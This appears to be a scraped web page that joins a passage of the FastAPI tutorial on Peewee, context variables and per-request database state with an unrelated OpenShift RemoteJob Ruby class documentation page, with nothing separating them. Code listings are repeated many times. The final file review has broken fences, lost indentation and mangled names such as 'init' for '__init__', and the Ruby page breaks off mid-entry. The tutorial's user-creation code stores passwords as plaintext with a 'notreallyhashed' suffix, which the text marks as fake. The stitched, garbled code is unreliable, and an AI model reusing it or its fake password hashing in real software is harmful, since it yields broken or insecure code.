class ItemBase(BaseModel):
title: str
description: str = None
class ItemCreate(ItemBase):
pass
class Item(ItemBase):
id: int
owner_id: int
class Config:
orm_mode = True
getter_dict = PeeweeGetterDict
class UserBase(BaseModel):
email: str
class UserCreate(UserBase):
password: str
class User(UserBase):
id: int
is_active: bool
items: List[Item] = []
class Config:
orm_mode = True
getter_dict = PeeweeGetterDict
Tip
Here we are creating the models with an id
.
We didn't explicitly specify an id
attribute in the Peewee models, but Peewee adds one automatically.
We are also adding the magic owner_id
attribute to Item
.
Create a PeeweeGetterDict
for the Pydantic models / schemas¶
When you access a relationship in a Peewee object, like in some_user.items
, Peewee doesn't provide a list
of Item
.
It provides a special custom object of class ModelSelect
.
It's possible to create a list
of its items with list(some_user.items)
.
But the object itself is not a list
. And it's also not an actual Python generator. Because of this, Pydantic doesn't know by default how to convert it to a list
of Pydantic models / schemas.
But recent versions of Pydantic allow providing a custom class that inherits from pydantic.utils.GetterDict
, to provide the functionality used when using the orm_mode = True
to retrieve the values for ORM model attributes.
We are going to create a custom PeeweeGetterDict
class and use it in all the same Pydantic models / schemas that use orm_mode
:
from typing import Any, List
import peewee
from pydantic import BaseModel
from pydantic.utils import GetterDict
class PeeweeGetterDict(GetterDict):
def get(self, key: Any, default: Any = None):
res = getattr(self._obj, key, default)
if isinstance(res, peewee.ModelSelect):
return list(res)
return res
class ItemBase(BaseModel):
title: str
description: str = None
class ItemCreate(ItemBase):
pass
class Item(ItemBase):
id: int
owner_id: int
class Config:
orm_mode = True
getter_dict = PeeweeGetterDict
class UserBase(BaseModel):
email: str
class UserCreate(UserBase):
password: str
class User(UserBase):
id: int
is_active: bool
items: List[Item] = []
class Config:
orm_mode = True
getter_dict = PeeweeGetterDict
Here we are checking if the attribute that is being accessed (e.g. .items
in some_user.items
) is an instance of peewee.ModelSelect
.
And if that's the case, just return a list
with it.
And then we use it in the Pydantic models / schemas that use orm_mode = True
, with the configuration variable getter_dict = PeeweeGetterDict
.
Tip
We only need to create one PeeweeGetterDict
class, and we can use it in all the Pydantic models / schemas.
CRUD utils¶
Now let's see the file sql_app/crud.py
.
Create all the CRUD utils¶
Create all the same CRUD utils as in the SQLAlchemy tutorial, all the code is very similar:
from . import models, schemas
def get_user(user_id: int):
return models.User.filter(models.User.id == user_id).first()
def get_user_by_email(email: str):
return models.User.filter(models.User.email == email).first()
def get_users(skip: int = 0, limit: int = 100):
return list(models.User.select().offset(skip).limit(limit))
def create_user(user: schemas.UserCreate):
fake_hashed_password = user.password + "notreallyhashed"
db_user = models.User(email=user.email, hashed_password=fake_hashed_password)
db_user.save()
return db_user
def get_items(skip: int = 0, limit: int = 100):
return list(models.Item.select().offset(skip).limit(limit))
def create_user_item(item: schemas.ItemCreate, user_id: int):
db_item = models.Item(**item.dict(), owner_id=user_id)
db_item.save()
return db_item
There are some differences with the code for the SQLAlchemy tutorial.
We don't pass a db
attribute around. Instead we use the models directly. This is because the db
object is a global object, that includes all the connection logic. That's why we had to do all the contextvars
updates above.
Aso, when returning several objects, like in get_users
, we directly call list
, like in:
list(models.User.select())
This is for the same reason that we had to create a custom PeeweeGetterDict
. But by returning something that is already a list
instead of the peewee.ModelSelect
the response_model
in the path operation with List[models.User]
(that we'll see later) will work correctly.
Main FastAPI app¶
And now in the file sql_app/main.py
let's integrate and use all the other parts we created before.
Create the database tables¶
In a very simplistic way create the database tables:
import time
from typing import List
from fastapi import Depends, FastAPI, HTTPException
from . import crud, database, models, schemas
from .database import db_state_default
database.db.connect()
database.db.create_tables([models.User, models.Item])
database.db.close()
app = FastAPI()
sleep_time = 10
async def reset_db_state():
database.db._state._state.set(db_state_default.copy())
database.db._state.reset()
def get_db(db_state=Depends(reset_db_state)):
try:
database.db.connect()
yield
finally:
if not database.db.is_closed():
database.db.close()
@app.post("/users/", response_model=schemas.User, dependencies=[Depends(get_db)])
def create_user(user: schemas.UserCreate):
db_user = crud.get_user_by_email(email=user.email)
if db_user:
raise HTTPException(status_code=400, detail="Email already registered")
return crud.create_user(user=user)
@app.get("/users/", response_model=List[schemas.User], dependencies=[Depends(get_db)])
def read_users(skip: int = 0, limit: int = 100):
users = crud.get_users(skip=skip, limit=limit)
return users
@app.get(
"/users/{user_id}", response_model=schemas.User, dependencies=[Depends(get_db)]
)
def read_user(user_id: int):
db_user = crud.get_user(user_id=user_id)
if db_user is None:
raise HTTPException(status_code=404, detail="User not found")
return db_user
@app.post(
"/users/{user_id}/items/",
response_model=schemas.Item,
dependencies=[Depends(get_db)],
)
def create_item_for_user(user_id: int, item: schemas.ItemCreate):
return crud.create_user_item(item=item, user_id=user_id)
@app.get("/items/", response_model=List[schemas.Item], dependencies=[Depends(get_db)])
def read_items(skip: int = 0, limit: int = 100):
items = crud.get_items(skip=skip, limit=limit)
return items
@app.get(
"/slowusers/", response_model=List[schemas.User], dependencies=[Depends(get_db)]
)
def read_slow_users(skip: int = 0, limit: int = 100):
global sleep_time
sleep_time = max(0, sleep_time - 1)
time.sleep(sleep_time) # Fake long processing request
users = crud.get_users(skip=skip, limit=limit)
return users
Create a dependency¶
Create a dependency that will connect the database right at the beginning of a request and disconnect it at the end:
import time
from typing import List
from fastapi import Depends, FastAPI, HTTPException
from . import crud, database, models, schemas
from .database import db_state_default
database.db.connect()
database.db.create_tables([models.User, models.Item])
database.db.close()
app = FastAPI()
sleep_time = 10
async def reset_db_state():
database.db._state._state.set(db_state_default.copy())
database.db._state.reset()
def get_db(db_state=Depends(reset_db_state)):
try:
database.db.connect()
yield
finally:
if not database.db.is_closed():
database.db.close()
@app.post("/users/", response_model=schemas.User, dependencies=[Depends(get_db)])
def create_user(user: schemas.UserCreate):
db_user = crud.get_user_by_email(email=user.email)
if db_user:
raise HTTPException(status_code=400, detail="Email already registered")
return crud.create_user(user=user)
@app.get("/users/", response_model=List[schemas.User], dependencies=[Depends(get_db)])
def read_users(skip: int = 0, limit: int = 100):
users = crud.get_users(skip=skip, limit=limit)
return users
@app.get(
"/users/{user_id}", response_model=schemas.User, dependencies=[Depends(get_db)]
)
def read_user(user_id: int):
db_user = crud.get_user(user_id=user_id)
if db_user is None:
raise HTTPException(status_code=404, detail="User not found")
return db_user
@app.post(
"/users/{user_id}/items/",
response_model=schemas.Item,
dependencies=[Depends(get_db)],
)
def create_item_for_user(user_id: int, item: schemas.ItemCreate):
return crud.create_user_item(item=item, user_id=user_id)
@app.get("/items/", response_model=List[schemas.Item], dependencies=[Depends(get_db)])
def read_items(skip: int = 0, limit: int = 100):
items = crud.get_items(skip=skip, limit=limit)
return items
@app.get(
"/slowusers/", response_model=List[schemas.User], dependencies=[Depends(get_db)]
)
def read_slow_users(skip: int = 0, limit: int = 100):
global sleep_time
sleep_time = max(0, sleep_time - 1)
time.sleep(sleep_time) # Fake long processing request
users = crud.get_users(skip=skip, limit=limit)
return users
Here we have an empty yield
because we are actually not using the database object directly.
It is connecting to the database and storing the connection data in an internal variable that is independent for each request (using the contextvars
tricks from above).
Because the database connection is potentially I/O blocking, this dependency is created with a normal def
function.
And then, in each path operation function that needs to access the database we add it as a dependency.
But we are not using the value given by this dependency (it actually doesn't give any value, as it has an empty yield
). So, we don't add it to the path operation function but to the path operation decorator in the dependencies
parameter:
import time
from typing import List
from fastapi import Depends, FastAPI, HTTPException
from . import crud, database, models, schemas
from .database import db_state_default
database.db.connect()
database.db.create_tables([models.User, models.Item])
database.db.close()
app = FastAPI()
sleep_time = 10
async def reset_db_state():
database.db._state._state.set(db_state_default.copy())
database.db._state.reset()
def get_db(db_state=Depends(reset_db_state)):
try:
database.db.connect()
yield
finally:
if not database.db.is_closed():
database.db.close()
@app.post("/users/", response_model=schemas.User, dependencies=[Depends(get_db)])
def create_user(user: schemas.UserCreate):
db_user = crud.get_user_by_email(email=user.email)
if db_user:
raise HTTPException(status_code=400, detail="Email already registered")
return crud.create_user(user=user)
@app.get("/users/", response_model=List[schemas.User], dependencies=[Depends(get_db)])
def read_users(skip: int = 0, limit: int = 100):
users = crud.get_users(skip=skip, limit=limit)
return users
@app.get(
"/users/{user_id}", response_model=schemas.User, dependencies=[Depends(get_db)]
)
def read_user(user_id: int):
db_user = crud.get_user(user_id=user_id)
if db_user is None:
raise HTTPException(status_code=404, detail="User not found")
return db_user
@app.post(
"/users/{user_id}/items/",
response_model=schemas.Item,
dependencies=[Depends(get_db)],
)
def create_item_for_user(user_id: int, item: schemas.ItemCreate):
return crud.create_user_item(item=item, user_id=user_id)
@app.get("/items/", response_model=List[schemas.Item], dependencies=[Depends(get_db)])
def read_items(skip: int = 0, limit: int = 100):
items = crud.get_items(skip=skip, limit=limit)
return items
@app.get(
"/slowusers/", response_model=List[schemas.User], dependencies=[Depends(get_db)]
)
def read_slow_users(skip: int = 0, limit: int = 100):
global sleep_time
sleep_time = max(0, sleep_time - 1)
time.sleep(sleep_time) # Fake long processing request
users = crud.get_users(skip=skip, limit=limit)
return users
Context variable sub-dependency¶
For all the contextvars
parts to work, we need to make sure we have an independent value in the ContextVar
for each request that uses the database, and that value will be used as the database state (connection, transactions, etc) for the whole request.
For that, we need to create another async
dependency reset_db_state()
that is used as a sub-dependency in get_db()
. It will set the value for the context variable (with just a default dict
) that will be used as the database state for the whole request. And then the dependency get_db()
will store in it the database state (connection, transactions, etc).
import time
from typing import List
from fastapi import Depends, FastAPI, HTTPException
from . import crud, database, models, schemas
from .database import db_state_default
database.db.connect()
database.db.create_tables([models.User, models.Item])
database.db.close()
app = FastAPI()
sleep_time = 10
async def reset_db_state():
database.db._state._state.set(db_state_default.copy())
database.db._state.reset()
def get_db(db_state=Depends(reset_db_state)):
try:
database.db.connect()
yield
finally:
if not database.db.is_closed():
database.db.close()
@app.post("/users/", response_model=schemas.User, dependencies=[Depends(get_db)])
def create_user(user: schemas.UserCreate):
db_user = crud.get_user_by_email(email=user.email)
if db_user:
raise HTTPException(status_code=400, detail="Email already registered")
return crud.create_user(user=user)
@app.get("/users/", response_model=List[schemas.User], dependencies=[Depends(get_db)])
def read_users(skip: int = 0, limit: int = 100):
users = crud.get_users(skip=skip, limit=limit)
return users
@app.get(
"/users/{user_id}", response_model=schemas.User, dependencies=[Depends(get_db)]
)
def read_user(user_id: int):
db_user = crud.get_user(user_id=user_id)
if db_user is None:
raise HTTPException(status_code=404, detail="User not found")
return db_user
@app.post(
"/users/{user_id}/items/",
response_model=schemas.Item,
dependencies=[Depends(get_db)],
)
def create_item_for_user(user_id: int, item: schemas.ItemCreate):
return crud.create_user_item(item=item, user_id=user_id)
@app.get("/items/", response_model=List[schemas.Item], dependencies=[Depends(get_db)])
def read_items(skip: int = 0, limit: int = 100):
items = crud.get_items(skip=skip, limit=limit)
return items
@app.get(
"/slowusers/", response_model=List[schemas.User], dependencies=[Depends(get_db)]
)
def read_slow_users(skip: int = 0, limit: int = 100):
global sleep_time
sleep_time = max(0, sleep_time - 1)
time.sleep(sleep_time) # Fake long processing request
users = crud.get_users(skip=skip, limit=limit)
return users
For the next request, as we will reset that context variable again in the async
dependency reset_db_state()
and then create a new connection in the get_db()
dependency, that new request will have its own database state (connection, transactions, etc).
Tip
As FastAPI is an async framework, one request could start being processed, and before finishing, another request could be received and start processing as well, and it all could be processed in the same thread.
But context variables are aware of these async features, so, a Peewee database state set in the async
dependency reset_db_state()
will keep its own data throughout the entire request.
And at the same time, the other concurrent request will have its own database state that will be independent for the whole request.
Peewee Proxy¶
If you are using a Peewee Proxy, the actual database is at db.obj
.
So, you would reset it with:
async def reset_db_state():
database.db.obj._state._state.set(db_state_default.copy())
database.db.obj._state.reset()
Create your FastAPI path operations¶
Now, finally, here's the standard FastAPI path operations code.
import time
from typing import List
from fastapi import Depends, FastAPI, HTTPException
from . import crud, database, models, schemas
from .database import db_state_default
database.db.connect()
database.db.create_tables([models.User, models.Item])
database.db.close()
app = FastAPI()
sleep_time = 10
async def reset_db_state():
database.db._state._state.set(db_state_default.copy())
database.db._state.reset()
def get_db(db_state=Depends(reset_db_state)):
try:
database.db.connect()
yield
finally:
if not database.db.is_closed():
database.db.close()
@app.post("/users/", response_model=schemas.User, dependencies=[Depends(get_db)])
def create_user(user: schemas.UserCreate):
db_user = crud.get_user_by_email(email=user.email)
if db_user:
raise HTTPException(status_code=400, detail="Email already registered")
return crud.create_user(user=user)
@app.get("/users/", response_model=List[schemas.User], dependencies=[Depends(get_db)])
def read_users(skip: int = 0, limit: int = 100):
users = crud.get_users(skip=skip, limit=limit)
return users
@app.get(
"/users/{user_id}", response_model=schemas.User, dependencies=[Depends(get_db)]
)
def read_user(user_id: int):
db_user = crud.get_user(user_id=user_id)
if db_user is None:
raise HTTPException(status_code=404, detail="User not found")
return db_user
@app.post(
"/users/{user_id}/items/",
response_model=schemas.Item,
dependencies=[Depends(get_db)],
)
def create_item_for_user(user_id: int, item: schemas.ItemCreate):
return crud.create_user_item(item=item, user_id=user_id)
@app.get("/items/", response_model=List[schemas.Item], dependencies=[Depends(get_db)])
def read_items(skip: int = 0, limit: int = 100):
items = crud.get_items(skip=skip, limit=limit)
return items
@app.get(
"/slowusers/", response_model=List[schemas.User], dependencies=[Depends(get_db)]
)
def read_slow_users(skip: int = 0, limit: int = 100):
global sleep_time
sleep_time = max(0, sleep_time - 1)
time.sleep(sleep_time) # Fake long processing request
users = crud.get_users(skip=skip, limit=limit)
return users
About def
vs async def
¶
The same as with SQLAlchemy, we are not doing something like:
user = await models.User.select().first()
...but instead we are using:
user = models.User.select().first()
So, again, we should declare the path operation functions and the dependency without async def
, just with a normal def
, as:
# Something goes here
def read_users(skip: int = 0, limit: int = 100):
# Something goes here
Testing Peewee with async¶
This example includes an extra path operation that simulates a long processing request with time.sleep(sleep_time)
.
It will have the database connection open at the beginning and will just wait some seconds before replying back. And each new request will wait one second less.
This will easily let you test that your app with Peewee and FastAPI is behaving correctly with all the stuff about threads.
If you want to check how Peewee would break your app if used without modification, go the the sql_app/database.py
file and comment the line:
# db._state = PeeweeConnectionState()
And in the file sql_app/main.py
file, comment the body of the async
dependency reset_db_state()
and replace it with a pass
:
async def reset_db_state():
# database.db._state._state.set(db_state_default.copy())
# database.db._state.reset()
pass
Then run your app with Uvicorn:
uvicorn sql_app.main:app --reload
Open your browser at http://<IP_ADDRESS>:8000/docs and create a couple of users.
Then open 10 tabs at http://<IP_ADDRESS>:8000/docs#/default/read_slow_users_slowusers__get at the same time.
Go to the path operation "Get /slowusers/
" in all of the tabs. Use the "Try it out" button and execute the request in each tab, one right after the other.
The tabs will wait for a bit and then some of them will show Internal Server Error
.
What happens¶
The first tab will make your app create a connection to the database and wait for some seconds before replying back and closing the database connection.
Then, for the request in the next tab, your app will wait for one second less, and so on.
This means that it will end up finishing some of the last tabs' requests earlier than some of the previous ones.
Then one the last requests that wait less seconds will try to open a database connection, but as one of those previous requests for the other tabs will probably be handled in the same thread as the first one, it will have the same database connection that is already open, and Peewee will throw an error and you will see it in the terminal, and the response will have an Internal Server Error
.
This will probably happen for more than one of those tabs.
If you had multiple clients talking to your app exactly at the same time, this is what could happen.
And as your app starts to handle more and more clients at the same time, the waiting time in a single request needs to be shorter and shorter to trigger the error.
Fix Peewee with FastAPI¶
Now go back to the file sql_app/database.py
, and uncomment the line:
db._state = PeeweeConnectionState()
And in the file sql_app/main.py
file, uncomment the body of the async
dependency reset_db_state()
:
async def reset_db_state():
database.db._state._state.set(db_state_default.copy())
database.db._state.reset()
Terminate your running app and start it again.
Repeat the same process with the 10 tabs. This time all of them will wait and you will get all the results without errors.
...You fixed it!
Review all the files¶
Remember you should have a directory named my_super_project
(or however you want) that contains a sub-directory called sql_app
.
sql_app
should have the following files:
-
sql_app/__init__.py
: is an empty file. -
sql_app/database.py
:
```Python hl_lines="" from contextvars import ContextVar
import peewee
DATABASE_NAME = "test.db" db_state_default = {"closed": None, "conn": None, "ctx": None, "transactions": None} db_state = ContextVar("db_state", default=db_state_default.copy())
class PeeweeConnectionState(peewee._ConnectionState): def init(self, kwargs): super().setattr("_state", db_state) super().init(kwargs)
def __setattr__(self, name, value):
self._state.get()[name] = value
def __getattr__(self, name):
return self._state.get()[name]
db = peewee.SqliteDatabase(DATABASE_NAME, check_same_thread=False)
db._state = PeeweeConnectionState()
* `sql_app/models.py`:
```Python hl_lines=""
import peewee
from .database import db
class User(peewee.Model):
email = peewee.CharField(unique=True, index=True)
hashed_password = peewee.CharField()
is_active = peewee.BooleanField(default=True)
class Meta:
database = db
class Item(peewee.Model):
title = peewee.CharField(index=True)
description = peewee.CharField(index=True)
owner = peewee.ForeignKeyField(User, backref="items")
class Meta:
database = db
sql_app/schemas.py
:
```Python hl_lines="" from typing import Any, List
import peewee from pydantic import BaseModel from pydantic.utils import GetterDict
class PeeweeGetterDict(GetterDict): def get(self, key: Any, default: Any = None): res = getattr(self._obj, key, default) if isinstance(res, peewee.ModelSelect): return list(res) return res
class ItemBase(BaseModel): title: str description: str = None
class ItemCreate(ItemBase): pass
class Item(ItemBase): id: int owner_id: int
class Config:
orm_mode = True
getter_dict = PeeweeGetterDict
class UserBase(BaseModel): email: str
class UserCreate(UserBase): password: str
class User(UserBase): id: int is_active: bool items: List[Item] = []
class Config:
orm_mode = True
getter_dict = PeeweeGetterDict
* `sql_app/crud.py`:
Python hl_lines=""
from . import models, schemas
def get_user(user_id: int):
return models.User.filter(models.User.id == user_id).first()
def get_user_by_email(email: str):
return models.User.filter(models.User.email == email).first()
def get_users(skip: int = 0, limit: int = 100):
return list(models.User.select().offset(skip).limit(limit))
def create_user(user: schemas.UserCreate):
fake_hashed_password = user.password + "notreallyhashed"
db_user = models.User(email=user.email, hashed_password=fake_hashed_password)
db_user.save()
return db_user
def get_items(skip: int = 0, limit: int = 100):
return list(models.Item.select().offset(skip).limit(limit))
def create_user_item(item: schemas.ItemCreate, user_id: int):
db_item = models.Item(**item.dict(), owner_id=user_id)
db_item.save()
return db_item
```
sql_app/main.py
:
```Python hl_lines="" import time from typing import List
from fastapi import Depends, FastAPI, HTTPException
from . import crud, database, models, schemas from .database import db_state_default
database.db.connect() database.db.create_tables([models.User, models.Item]) database.db.close()
app = FastAPI()
sleep_time = 10
async def reset_db_state(): database.db._state._state.set(db_state_default.copy()) database.db._state.reset()
def get_db(db_state=Depends(reset_db_state)): try: database.db.connect() yield finally: if not database.db.is_closed(): database.db.close()
@app.post("/users/", response_model=schemas.User, dependencies=[Depends(get_db)]) def create_user(user: schemas.UserCreate): db_user = crud.get_user_by_email(email=user.email) if db_user: raise HTTPException(status_code=400, detail="Email already registered") return crud.create_user(user=user)
@app.get("/users/", response_model=List[schemas.User], dependencies=[Depends(get_db)]) def read_users(skip: int = 0, limit: int = 100): users = crud.get_users(skip=skip, limit=limit) return users
@app.get( "/users/{user_id}", response_model=schemas.User, dependencies=[Depends(get_db)] ) def read_user(user_id: int): db_user = crud.get_user(user_id=user_id) if db_user is None: raise HTTPException(status_code=404, detail="User not found") return db_user
@app.post( "/users/{user_id}/items/", response_model=schemas.Item, dependencies=[Depends(get_db)], ) def create_item_for_user(user_id: int, item: schemas.ItemCreate): return crud.create_user_item(item=item, user_id=user_id)
@app.get("/items/", response_model=List[schemas.Item], dependencies=[Depends(get_db)]) def read_items(skip: int = 0, limit: int = 100): items = crud.get_items(skip=skip, limit=limit) return items
@app.get( "/slowusers/", response_model=List[schemas.User], dependencies=[Depends(get_db)] ) def read_slow_users(skip: int = 0, limit: int = 100): global sleep_time sleep_time = max(0, sleep_time - 1) time.sleep(sleep_time) # Fake long processing request users = crud.get_users(skip=skip, limit=limit) return users
## Technical Details
!!! warning
These are very technical details that you probably don't need.
### The problem
Peewee uses <a href="https://docs.python.org/3/library/threading.html#thread-local-data" class="external-link" target="_blank">`threading.local`</a> by default to store it's database "state" data (connection, transactions, etc).
`threading.local` creates a value exclusive to the current thread, but an async framework would run all the code (e.g. for each request) in the same thread, and possibly not in order.
On top of that, an async framework could run some sync code in a threadpool (using `asyncio.run_in_executor`), but belonging to the same request.
This means that, with Peewee's current implementation, multiple tasks could be using the same `threading.local` variable and end up sharing the same connection and data (that they shouldn't), and at the same time, if they execute sync I/O-blocking code in a threadpool (as with normal `def` functions in FastAPI, in *path operations* and dependencies), that code won't have access to the database state variables, even while it's part of the same request and it should be able to get access to the same database state.
### Context variables
Python 3.7 has <a href="https://docs.python.org/3/library/contextvars.html" class="external-link" target="_blank">`contextvars`</a> that can create a local variable very similar to `threading.local`, but also supporting these async features.
There are several things to have in mind.
The `ContextVar` has to be created at the top of the module, like:
```Python
some_var = ContextVar("some_var", default="default value")
To set a value used in the current "context" (e.g. for the current request) use:
some_var.set("new value")
To get a value anywhere inside of the context (e.g. in any part handling the current request) use:
some_var.get()
Set context variables in the async
dependency reset_db_state()
¶
If some part of the async code sets the value with some_var.set("updated in function")
(e.g. like the async
dependency), the rest of the code in it and the code that goes after (including code inside of async
functions called with await
) will see that new value.
So, in our case, if we set the Peewee state variable (with a default dict
) in the async
dependency, all the rest of the internal code in our app will see this value and will be able to reuse it for the whole request.
And the context variable would be set again for the next request, even if they are concurrent.
Set database state in the dependency get_db()
¶
As get_db()
is a normal def
function, FastAPI will make it run in a threadpool, with a copy of the "context", holding the same value for the context variable (the dict
with the reset database state). Then it can add database state to that dict
, like the connection, etc.
But if the value of the context variable (the default dict
) was set in that normal def
function, it would create a new value that would stay only in that thread of the threadpool, and the rest of the code (like the path operation functions) wouldn't have access to it. In get_db()
we can only set values in the dict
, but not the entire dict
itself.
So, we need to have the async
dependency reset_db_state()
to set the dict
in the context variable. That way, all the code has access to the same dict
for the database state for a single request.
Connect and disconnect in the dependency get_db()
¶
Then the next question would be, why not just connect and disconnect the database in the async
dependency itself, instead of in get_db()
?
The async
dependency has to be async
for the context variable to be preserved for the rest of the request, but creating and closing the database connection is potentially blocking, so it could degrade performance if it was there.
So we also need the normal def
dependency get_db()
.


Class: RemoteJob
- Inherits:
-
OpenShift::Model
- Object
- OpenShift::Model
- RemoteJob
- Defined in:
- /home/fedora/origin-server/controller/app/models/remote_job.rb
Overview
Class to perform gear operations in parallel on multiple gears.
Instance Attribute Summary (collapse)
-
- (String) action
The name of the action to perfrom.
-
- (Array[String]) args
Arguments to pass to the action hook.
-
- (String) cartridge
The name of the cartridge to perform the operation on.
Class Method Summary (collapse)
-
+ (Object) add_parallel_job(handle, tag, gear, rjob)
Add a new job to the parallel job handle.
-
+ (Object) create_parallel_job
Creates a new Parallel job handle.
-
+ (Object) execute_parallel_jobs(handle)
Executes all jobs in the parallel job handle.
-
+ (Object) get_parallel_run_results(handle, &block)
Method to process the parallel job results.
-
+ (Object) run_parallel_on_gears(gears, handle = nil, &block)
Calls the provided block to generate RemoteJob entries for each gear and executes those jobs in parallel.
Instance Method Summary (collapse)
-
- (RemoteJob) initialize(target, action, args)
constructor
Creates a new RemoteJob.
Methods inherited from OpenShift::Model
#attribute, #attributes, #to_xml
Constructor Details
- (RemoteJob) initialize(target, action, args)
20 21 22 23 24 |
# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 20 def initialize(target, action, args) self.cartridge = target self.action = action self.args = args end |
Instance Attribute Details
- (String) action
The name of the action to perfrom
8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 8 class RemoteJob < OpenShift::Model attr_accessor :cartridge, :action, :args # Creates a new RemoteJob # # == Parameters: # target:: # The {Cartridge} name # action:: # The action to perform # args:: # Array of arguments to pass to the hook def initialize(target, action, args) self.cartridge = target self.action = action self.args = args end # Creates a new Parallel job handle # # == Returns: # New parallel job handle. Currently represented by a Hash def self.create_parallel_job return { } end # Calls the provided block to generate RemoteJob entries for each gear and executes those jobs in parallel. # This method provides a convenient way to combine {RemoteJob#add_parallel_job} and {RemoteJob#execute_parallel_jobs} # # == Parameters: # gears:: # The {Gear}s to run the operations on # handle:: # (optional) The parallel job handle which may contain other jobs that needs to be run. # block:: # The block of code which add a job for each gear using {RemoteJob#add_parallel_job} # # == Block arguments: # # exec_handle:: # The parallel job handle # gear:: # The {Gear} to create a {RemoteJob} for def self.run_parallel_on_gears(gears, handle=nil, &block) handle = create_parallel_job if handle.nil? gears.each { |gear| block.call(handle, gear) } execute_parallel_jobs(handle) end # Executes all jobs in the parallel job handle # # == Parameters: # handle:: # The parallel job handle def self.execute_parallel_jobs(handle) begin OpenShift::ApplicationContainerProxy.execute_parallel_jobs(handle) rescue Exception=>e Rails.logger.error e. Rails.logger.error e.inspect Rails.logger.error e.backtrace.inspect raise e end end # Add a new job to the parallel job handle # # == Parameters: # handle:: # The parallel job handle # tag:: # Tag to identify the job (optional) # gear:: # The gear to run the job on # rjob:: # The {RemoteJob} to add to the handle # # == Returns: # Parallel job handle def self.add_parallel_job(handle, tag, gear, rjob) tag = tag || "" parallel_job = { :tag => tag, :gear => gear.uuid.to_s, :job => { :cartridge => rjob.cartridge, :action => rjob.action, :args => rjob.args }, :result_stdout => "", :result_stderr => "", :result_exit_code => "" } job_list = handle[gear.get_proxy.id] || [] job_list << parallel_job handle[gear.get_proxy.id] = job_list handle end # Method to process the parallel job results. It calls the block with the output of each job. # # == Parameters: # handle:: # The parallel job handle # block:: # The code block to call for each job # # == Block arguments: # tag:: # The identifier tag for the job # gear:: # The gear the job was performed on # stdout:: # The standard out output from the hook execution # exitcode:: # The exitcode from the hook execution def self.get_parallel_run_results(handle, &block) handle.each { |id, job_list| job_list.each { |parallel_job| block.call(parallel_job[:tag], parallel_job[:gear], parallel_job[:result_stdout], parallel_job[:result_exit_code]) } } end end |
- (Array[String]) args
Arguments to pass to the action hook
8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
# File '/home/fedora/origin-server/controller/app/models/remote_job.rb', line 8 class RemoteJob < OpenShift::Model attr_accessor :cartridge, :action, :args # Creates a new RemoteJob # # == Parameters: # target:: # The {Cartridge} name # action:: # The action to perform # args:: # Array of arguments to pass to the hook def initialize(target, action, args) self.cartridge = target self.action = action self.args = args end # Creates a new Parallel job handle # # == Returns: # New parallel job handle. Currently represented by a Hash def self.create_parallel_job return { } end # Calls the provided block to generate RemoteJob entries for each gear and executes those jobs in parallel. # This method provides a convenient way to combine {RemoteJob#add_parallel_job} and {RemoteJob#execute_parallel_jobs} # # == Parameters: # gears:: # The {Gear}s to run the operations on # handle:: # (optional) The parallel job handle which may contain other jobs that needs to be run. # block:: # The block of code which add a job for each gear using {RemoteJob#add_parallel_job} # # == Block arguments: # # exec_handle:: # The parallel job handle # gear:: # The {Gear} to create a {RemoteJob} for def self.run_parallel_on_gears(gears, handle=nil, &block) handle = create_parallel_job if handle.nil? gears.each { |gear| block.call(handle, gear) } execute_parallel_jobs(handle) end # Executes all jobs in the parallel job handle # # == Parameters: # handle:: # The parallel job handle def self.execute_parallel_jobs(handle) begin OpenShift::ApplicationContainerProxy.execute_parallel_jobs(handle) rescue Exception=>e Rails.logger.error e. Rails.logger.error e.inspect Rails.logger.error e.backtrace.inspect raise e end end # Add a new job to the parallel job handle # # == Parameters: # handle:: # The parallel job handle # tag:: # Tag to identify the job (optional) # gear:: # The gear to run the job on # rjob:: # The {RemoteJob} to add to the handle # # == Returns: # Parallel job handle def self.add_parallel_job(handle, tag, gear, rjob) tag = tag || "" parallel_job = { :tag => tag, :gear => gear.uuid.to_s, :job => { :cartridge => rjob.cartridge, :action => rjob.action, :args => rjob.args }, :result_stdout => "", :result_stderr => "", :result_exit_code => "" } job_list = handle[gear.get_proxy.id] || [] job_list << parallel_job handle[gear.get_proxy.id] = job_list handle end # Method to process the parallel job results. It calls the block with the output of each job. # # == Parameters: # handle:: # The parallel job handle # block:: # The code block to call for each job # # == Block arguments: # tag:: # The identifier tag for the job # gear:: # The gear the job was performed on # stdout:: # The standard out output from the hook execution # exitcode:: # The exitcode from the hook execution def self.get_parallel_run_results(handle, &block) handle.each { |id, job_list| job_list.each { |parallel_job| block.call(parallel_job[:tag], parallel_job[:gear], parallel_job[:result_stdout], parallel_job[:result_exit_code]) } } end end |
- (String) cartridge
The name of the cartridge to perform the operation on.
8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
